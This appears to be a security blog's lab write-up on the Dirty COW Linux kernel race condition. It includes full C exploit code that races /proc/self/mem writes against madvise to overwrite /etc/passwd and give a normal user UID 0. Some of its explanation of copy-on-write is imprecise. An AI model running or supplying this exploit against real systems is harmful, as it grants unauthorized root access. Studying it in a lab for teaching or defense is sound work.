Dirty COW to get the root privilige

This lab is based on Ubuntu 12.04, and according to Prof. Wenliang Du's workshop:

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android that use older versions of the Linux kernel. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester.[1][2] Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer.[1] The attack itself does not leave traces in the system log.[2]

Condition:
  • race condition
  • happened in kernel 
  • read only file owned by root(to get the root privilege)
  • mmap(Map the file to memory)
  • madvise() to drop the memory 

mmap(Map the file to memory)

map=mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

Add caption


map_shared vs map_private:
map_shared: 
process 1 and process 2 will share the memory and modify it at the same time. This didn't have dirty COW vulnerability.
map_private: 
process 1 and process 2 has their own memory space. After the modification is over(it has been changed just like the dirty bit, maybe it's the reason to call dirty COW), the memory at 2 will be written to 1. Between the copy and write, there is a window time to exploit. 

madvise(drop the copied memory)

madvise(map, file_size, MADV_DONTNEED);

to make the pointer to point back


To do the attack:
In order to do the race condition attack between copy and write, one thread is used to mmap() repeatedly, and the other one is to do madvise() repeatedly.

This time will are going to change the real ID in /etc/passwd

Step 1: add a new normal user 'testing'


Step 2: find the real id we are going to modify
check the /etc/passwd to find the content we are going to modify:

before:
testing:x:1003:1005:,,,:/home/testing:/bin/bash
after:
testing:x:0000:1005:,,,:/home/testing:/bin/bash

Step 3: write the program: 
Program :

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>


void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);


int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;


  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);


  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);


  // Find the position of the target area
  char *position = strstr(map, "testing:x:1003");                        


  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);
  pthread_create(&pth2, NULL, writeThread, position);             


  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}


void *writeThread(void *arg)
{
  char *content= "testing:x:0000";
  off_t offset = (off_t) arg;


  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}


void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}

Step 4: compile the program and run


check the real ID:

Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Cheat sheet for security+